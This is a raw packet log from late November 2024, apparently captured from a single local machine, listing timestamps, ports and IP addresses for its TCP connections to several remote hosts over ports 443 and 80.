Nov 23, 2024 01:14:35.760837078 CET	443	49856	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:35.760950089 CET	49856	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:35.764772892 CET	443	49857	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:35.764796019 CET	443	49857	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:35.764847994 CET	49857	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:35.764854908 CET	443	49857	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:35.764866114 CET	443	49857	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:35.764897108 CET	49857	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:35.766194105 CET	49854	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:35.766206026 CET	443	49854	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:35.775429010 CET	49856	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:35.775435925 CET	443	49856	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:35.779067993 CET	49857	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:35.779078960 CET	443	49857	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:35.809250116 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.809406042 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.844429970 CET	443	49859	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:35.844693899 CET	49859	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:35.844712019 CET	443	49859	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:35.845186949 CET	443	49859	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:35.847893953 CET	49859	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:35.847980022 CET	443	49859	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:35.848067999 CET	49859	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:35.895334005 CET	443	49859	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:35.928664923 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.928855896 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.942667961 CET	443	49851	51.116.253.170	192.168.2.5
Nov 23, 2024 01:14:35.942923069 CET	443	49851	51.116.253.170	192.168.2.5
Nov 23, 2024 01:14:35.942990065 CET	49851	443	192.168.2.5	51.116.253.170
Nov 23, 2024 01:14:35.945372105 CET	49851	443	192.168.2.5	51.116.253.170
Nov 23, 2024 01:14:35.945401907 CET	443	49851	51.116.253.170	192.168.2.5
Nov 23, 2024 01:14:35.992996931 CET	443	49860	18.173.132.116	192.168.2.5
Nov 23, 2024 01:14:35.993096113 CET	443	49860	18.173.132.116	192.168.2.5
Nov 23, 2024 01:14:35.993144989 CET	49860	443	192.168.2.5	18.173.132.116
Nov 23, 2024 01:14:35.994812965 CET	49860	443	192.168.2.5	18.173.132.116
Nov 23, 2024 01:14:35.994827032 CET	443	49860	18.173.132.116	192.168.2.5
Nov 23, 2024 01:14:36.077691078 CET	443	49861	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:36.078036070 CET	49861	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:36.078104973 CET	443	49861	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:36.078597069 CET	443	49861	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:36.078938961 CET	49861	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:36.079034090 CET	443	49861	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:36.079102993 CET	49861	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:36.123330116 CET	443	49861	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:36.170078993 CET	443	49863	23.43.85.20	192.168.2.5
Nov 23, 2024 01:14:36.170382023 CET	49863	443	192.168.2.5	23.43.85.20
Nov 23, 2024 01:14:36.170396090 CET	443	49863	23.43.85.20	192.168.2.5
Nov 23, 2024 01:14:36.173952103 CET	443	49863	23.43.85.20	192.168.2.5
Nov 23, 2024 01:14:36.174042940 CET	49863	443	192.168.2.5	23.43.85.20
Nov 23, 2024 01:14:36.174966097 CET	49863	443	192.168.2.5	23.43.85.20
Nov 23, 2024 01:14:36.175141096 CET	443	49863	23.43.85.20	192.168.2.5
Nov 23, 2024 01:14:36.210457087 CET	443	49862	23.43.85.20	192.168.2.5
Nov 23, 2024 01:14:36.210839987 CET	49862	443	192.168.2.5	23.43.85.20
Nov 23, 2024 01:14:36.210877895 CET	443	49862	23.43.85.20	192.168.2.5
Nov 23, 2024 01:14:36.212812901 CET	443	49862	23.43.85.20	192.168.2.5
Nov 23, 2024 01:14:36.212882042 CET	49862	443	192.168.2.5	23.43.85.20
Nov 23, 2024 01:14:36.213203907 CET	49862	443	192.168.2.5	23.43.85.20
Nov 23, 2024 01:14:36.213298082 CET	443	49862	23.43.85.20	192.168.2.5
Nov 23, 2024 01:14:36.219254017 CET	49863	443	192.168.2.5	23.43.85.20
Nov 23, 2024 01:14:36.219263077 CET	443	49863	23.43.85.20	192.168.2.5
Nov 23, 2024 01:14:36.266423941 CET	49863	443	192.168.2.5	23.43.85.20
Nov 23, 2024 01:14:36.266429901 CET	49862	443	192.168.2.5	23.43.85.20
Nov 23, 2024 01:14:36.266449928 CET	443	49862	23.43.85.20	192.168.2.5
Nov 23, 2024 01:14:36.300319910 CET	443	49859	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:36.300576925 CET	443	49859	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:36.304541111 CET	49859	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:36.304652929 CET	49859	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:36.304661036 CET	443	49859	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:36.311414003 CET	49862	443	192.168.2.5	23.43.85.20
Nov 23, 2024 01:14:36.385752916 CET	49874	443	192.168.2.5	20.110.205.119
Nov 23, 2024 01:14:36.385781050 CET	443	49874	20.110.205.119	192.168.2.5
Nov 23, 2024 01:14:36.386044979 CET	49874	443	192.168.2.5	20.110.205.119
Nov 23, 2024 01:14:36.386045933 CET	49874	443	192.168.2.5	20.110.205.119
Nov 23, 2024 01:14:36.386074066 CET	443	49874	20.110.205.119	192.168.2.5
Nov 23, 2024 01:14:36.489228010 CET	443	49869	23.43.85.36	192.168.2.5
Nov 23, 2024 01:14:36.489701033 CET	49869	443	192.168.2.5	23.43.85.36
Nov 23, 2024 01:14:36.489715099 CET	443	49869	23.43.85.36	192.168.2.5
Nov 23, 2024 01:14:36.491138935 CET	443	49869	23.43.85.36	192.168.2.5
Nov 23, 2024 01:14:36.491323948 CET	49869	443	192.168.2.5	23.43.85.36
Nov 23, 2024 01:14:36.492196083 CET	49869	443	192.168.2.5	23.43.85.36
Nov 23, 2024 01:14:36.492276907 CET	443	49869	23.43.85.36	192.168.2.5
Nov 23, 2024 01:14:36.514358997 CET	443	49864	204.79.197.219	192.168.2.5
Nov 23, 2024 01:14:36.517308950 CET	49864	443	192.168.2.5	204.79.197.219
Nov 23, 2024 01:14:36.517318964 CET	443	49864	204.79.197.219	192.168.2.5
Nov 23, 2024 01:14:36.518429041 CET	443	49864	204.79.197.219	192.168.2.5
Nov 23, 2024 01:14:36.518663883 CET	49864	443	192.168.2.5	204.79.197.219
Nov 23, 2024 01:14:36.520138979 CET	49864	443	192.168.2.5	204.79.197.219
Nov 23, 2024 01:14:36.520207882 CET	443	49864	204.79.197.219	192.168.2.5
Nov 23, 2024 01:14:36.523119926 CET	443	49861	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:36.523143053 CET	443	49861	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:36.523240089 CET	49861	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:36.523297071 CET	443	49861	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:36.524426937 CET	49861	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:36.524483919 CET	443	49861	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:36.524558067 CET	49861	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:36.545913935 CET	49869	443	192.168.2.5	23.43.85.36
Nov 23, 2024 01:14:36.545937061 CET	443	49869	23.43.85.36	192.168.2.5
Nov 23, 2024 01:14:36.559758902 CET	443	49865	204.79.197.219	192.168.2.5
Nov 23, 2024 01:14:36.560094118 CET	49865	443	192.168.2.5	204.79.197.219
Nov 23, 2024 01:14:36.560158968 CET	443	49865	204.79.197.219	192.168.2.5
Nov 23, 2024 01:14:36.561182022 CET	443	49865	204.79.197.219	192.168.2.5
Nov 23, 2024 01:14:36.561413050 CET	49865	443	192.168.2.5	204.79.197.219
Nov 23, 2024 01:14:36.561672926 CET	49865	443	192.168.2.5	204.79.197.219
Nov 23, 2024 01:14:36.561742067 CET	443	49865	204.79.197.219	192.168.2.5
Nov 23, 2024 01:14:36.566323042 CET	49864	443	192.168.2.5	204.79.197.219
Nov 23, 2024 01:14:36.566332102 CET	443	49864	204.79.197.219	192.168.2.5
Nov 23, 2024 01:14:36.596968889 CET	49869	443	192.168.2.5	23.43.85.36
Nov 23, 2024 01:14:36.612612963 CET	49864	443	192.168.2.5	204.79.197.219
Nov 23, 2024 01:14:36.612618923 CET	49865	443	192.168.2.5	204.79.197.219
Nov 23, 2024 01:14:36.612648964 CET	443	49865	204.79.197.219	192.168.2.5
Nov 23, 2024 01:14:36.660011053 CET	49865	443	192.168.2.5	204.79.197.219
Nov 23, 2024 01:14:36.757699013 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:36.757961035 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:36.870862961 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:36.898113966 CET	443	49866	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:36.900072098 CET	49866	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:36.900125027 CET	443	49866	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:36.901062965 CET	49866	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:36.901081085 CET	443	49866	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:36.915169954 CET	443	49868	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:36.915539980 CET	49868	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:36.915563107 CET	443	49868	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:36.915951014 CET	49868	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:36.915956974 CET	443	49868	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:36.932524920 CET	443	49867	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:36.933260918 CET	49867	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:36.933279991 CET	443	49867	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:36.936081886 CET	49867	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:36.936086893 CET	443	49867	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:36.990390062 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:37.015798092 CET	443	49870	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:37.029135942 CET	49870	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:37.029150963 CET	443	49870	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:37.029977083 CET	49870	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:37.029982090 CET	443	49870	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:37.053042889 CET	443	49871	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:37.055318117 CET	49871	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:37.055341005 CET	443	49871	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:37.055811882 CET	49871	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:37.055819035 CET	443	49871	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:37.323236942 CET	443	49872	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:37.323601007 CET	443	49873	23.101.168.44	192.168.2.5
Nov 23, 2024 01:14:37.324177027 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:37.324232101 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:37.324579954 CET	49872	443	192.168.2.5	40.126.53.13
Nov 23, 2024 01:14:37.324590921 CET	49873	443	192.168.2.5	23.101.168.44
Nov 23, 2024 01:14:37.324601889 CET	443	49873	23.101.168.44	192.168.2.5
Nov 23, 2024 01:14:37.324608088 CET	443	49872	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:37.325169086 CET	443	49873	23.101.168.44	192.168.2.5
Nov 23, 2024 01:14:37.325613976 CET	49873	443	192.168.2.5	23.101.168.44
Nov 23, 2024 01:14:37.325697899 CET	443	49873	23.101.168.44	192.168.2.5
Nov 23, 2024 01:14:37.325771093 CET	49872	443	192.168.2.5	40.126.53.13
Nov 23, 2024 01:14:37.325771093 CET	49872	443	192.168.2.5	40.126.53.13
Nov 23, 2024 01:14:37.325793982 CET	443	49872	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:37.325814962 CET	443	49872	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:37.326055050 CET	49873	443	192.168.2.5	23.101.168.44
Nov 23, 2024 01:14:37.332045078 CET	49875	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:37.332061052 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:37.332123995 CET	49875	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:37.332309008 CET	49875	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:37.332319975 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:37.367336988 CET	443	49873	23.101.168.44	192.168.2.5
Nov 23, 2024 01:14:37.441709042 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:37.441725016 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:37.441766977 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:37.441785097 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:37.442023039 CET	443	49866	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:37.442154884 CET	443	49866	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:37.442167997 CET	443	49867	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:37.442209959 CET	443	49868	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:37.442229986 CET	49866	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:37.442274094 CET	443	49867	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:37.442325115 CET	49867	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:37.442442894 CET	443	49868	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:37.442486048 CET	49868	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:37.442656994 CET	49866	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:37.442656994 CET	49866	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:37.442673922 CET	443	49866	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:37.442686081 CET	443	49866	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:37.444156885 CET	49867	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:37.444175959 CET	443	49867	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:37.444186926 CET	49867	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:37.444192886 CET	443	49867	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:37.444363117 CET	49868	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:37.444371939 CET	443	49868	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:37.444390059 CET	49868	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:37.444399118 CET	443	49868	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:37.447803020 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:37.449614048 CET	49876	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:37.449652910 CET	443	49876	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:37.449771881 CET	49876	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:37.450541019 CET	49877	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:37.450556040 CET	443	49877	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:37.450611115 CET	49877	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:37.450864077 CET	49876	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:37.450879097 CET	443	49876	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:37.451441050 CET	49878	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:37.451452971 CET	443	49878	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:37.451534986 CET	49878	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:37.451972961 CET	49878	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:37.451988935 CET	443	49878	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:37.452071905 CET	49877	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:37.452084064 CET	443	49877	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:37.462523937 CET	49879	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:37.462546110 CET	443	49879	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:37.462719917 CET	49879	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:37.463582039 CET	49880	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:37.463603973 CET	443	49880	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:37.463651896 CET	49880	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:37.463875055 CET	49879	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:37.463888884 CET	443	49879	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:37.467026949 CET	49880	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:37.467041969 CET	443	49880	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:37.567188025 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:37.647646904 CET	443	49870	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:37.647727966 CET	443	49870	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:37.647778034 CET	49870	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:37.648045063 CET	49870	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:37.648052931 CET	443	49870	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:37.648063898 CET	49870	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:37.648066998 CET	443	49870	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:37.651539087 CET	49881	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:37.651556015 CET	443	49881	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:37.651668072 CET	49881	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:37.651859999 CET	49881	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:37.651876926 CET	443	49881	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:37.664165974 CET	443	49871	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:37.664329052 CET	443	49871	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:37.664385080 CET	49871	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:37.664411068 CET	49871	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:37.664436102 CET	443	49871	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:37.664460897 CET	49871	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:37.664470911 CET	443	49871	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:37.666835070 CET	49882	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:37.666908026 CET	443	49882	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:37.666985035 CET	49882	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:37.667192936 CET	49882	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:37.667222023 CET	443	49882	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:37.846039057 CET	443	49873	23.101.168.44	192.168.2.5
Nov 23, 2024 01:14:37.846080065 CET	443	49873	23.101.168.44	192.168.2.5
Nov 23, 2024 01:14:37.846148968 CET	49873	443	192.168.2.5	23.101.168.44
Nov 23, 2024 01:14:37.846160889 CET	443	49873	23.101.168.44	192.168.2.5
Nov 23, 2024 01:14:37.846173048 CET	443	49873	23.101.168.44	192.168.2.5
Nov 23, 2024 01:14:37.846230984 CET	49873	443	192.168.2.5	23.101.168.44
Nov 23, 2024 01:14:37.846769094 CET	49873	443	192.168.2.5	23.101.168.44
Nov 23, 2024 01:14:37.846776009 CET	443	49873	23.101.168.44	192.168.2.5
Nov 23, 2024 01:14:37.900995970 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:37.901063919 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:37.960551977 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:38.052216053 CET	443	49874	20.110.205.119	192.168.2.5
Nov 23, 2024 01:14:38.052539110 CET	49874	443	192.168.2.5	20.110.205.119
Nov 23, 2024 01:14:38.052552938 CET	443	49874	20.110.205.119	192.168.2.5
Nov 23, 2024 01:14:38.053704023 CET	443	49874	20.110.205.119	192.168.2.5
Nov 23, 2024 01:14:38.054028988 CET	49874	443	192.168.2.5	20.110.205.119
Nov 23, 2024 01:14:38.054200888 CET	443	49874	20.110.205.119	192.168.2.5
Nov 23, 2024 01:14:38.054287910 CET	49874	443	192.168.2.5	20.110.205.119
Nov 23, 2024 01:14:38.080045938 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:38.095354080 CET	443	49874	20.110.205.119	192.168.2.5
Nov 23, 2024 01:14:38.352674007 CET	443	49872	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:38.352685928 CET	443	49872	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:38.352732897 CET	443	49872	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:38.352763891 CET	49872	443	192.168.2.5	40.126.53.13
Nov 23, 2024 01:14:38.352777958 CET	443	49872	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:38.352806091 CET	49872	443	192.168.2.5	40.126.53.13
Nov 23, 2024 01:14:38.353446007 CET	49872	443	192.168.2.5	40.126.53.13
Nov 23, 2024 01:14:38.353456020 CET	443	49872	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:38.353462934 CET	49872	443	192.168.2.5	40.126.53.13
Nov 23, 2024 01:14:38.353558064 CET	443	49872	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:38.353584051 CET	443	49872	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:38.353641033 CET	49872	443	192.168.2.5	40.126.53.13
Nov 23, 2024 01:14:38.492435932 CET	49883	443	192.168.2.5	40.126.53.13
Nov 23, 2024 01:14:38.492460012 CET	443	49883	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:38.492543936 CET	49883	443	192.168.2.5	40.126.53.13
Nov 23, 2024 01:14:38.493213892 CET	49883	443	192.168.2.5	40.126.53.13
Nov 23, 2024 01:14:38.493227959 CET	443	49883	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:38.516833067 CET	443	49874	20.110.205.119	192.168.2.5
Nov 23, 2024 01:14:38.517069101 CET	443	49874	20.110.205.119	192.168.2.5
Nov 23, 2024 01:14:38.517124891 CET	49874	443	192.168.2.5	20.110.205.119
Nov 23, 2024 01:14:38.528990030 CET	49874	443	192.168.2.5	20.110.205.119
Nov 23, 2024 01:14:38.528995991 CET	443	49874	20.110.205.119	192.168.2.5
Nov 23, 2024 01:14:38.599742889 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:38.601799011 CET	49875	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:38.601809025 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:38.602907896 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:38.603502035 CET	49875	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:38.603674889 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:38.604863882 CET	49875	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:38.651324987 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:38.721649885 CET	443	49879	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:38.721906900 CET	49879	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:38.721920013 CET	443	49879	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:38.722206116 CET	443	49879	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:38.722510099 CET	49879	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:38.722565889 CET	443	49879	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:38.722754002 CET	49879	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:38.731427908 CET	443	49880	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:38.731703997 CET	49880	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:38.731715918 CET	443	49880	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:38.735282898 CET	443	49880	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:38.735357046 CET	49880	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:38.735687971 CET	49880	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:38.735847950 CET	49880	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:38.735858917 CET	443	49880	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:38.767330885 CET	443	49879	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:38.783337116 CET	443	49880	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:38.783510923 CET	49880	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:38.783521891 CET	443	49880	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:38.830379963 CET	49880	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:38.911679983 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:38.911780119 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:38.951013088 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:39.070430040 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:39.162873983 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.162938118 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.162981033 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.163016081 CET	49875	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.163027048 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.163074970 CET	49875	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.232145071 CET	443	49877	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:39.232764006 CET	443	49876	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:39.247348070 CET	49877	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:39.247365952 CET	443	49877	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:39.248665094 CET	49877	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:39.248670101 CET	443	49877	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:39.250988007 CET	49876	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:39.251022100 CET	443	49876	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:39.257946014 CET	49876	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:39.257953882 CET	443	49876	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:39.292090893 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.292144060 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.292200089 CET	49875	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.292210102 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.292239904 CET	49875	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.292263031 CET	49875	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.300349951 CET	443	49875	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.300415039 CET	49875	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:39.300537109 CET	443	49878	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:39.304558039 CET	443	49880	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.304586887 CET	443	49880	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:39.304596901 CET	443	49880	23.200.3.13	192.168.2.5
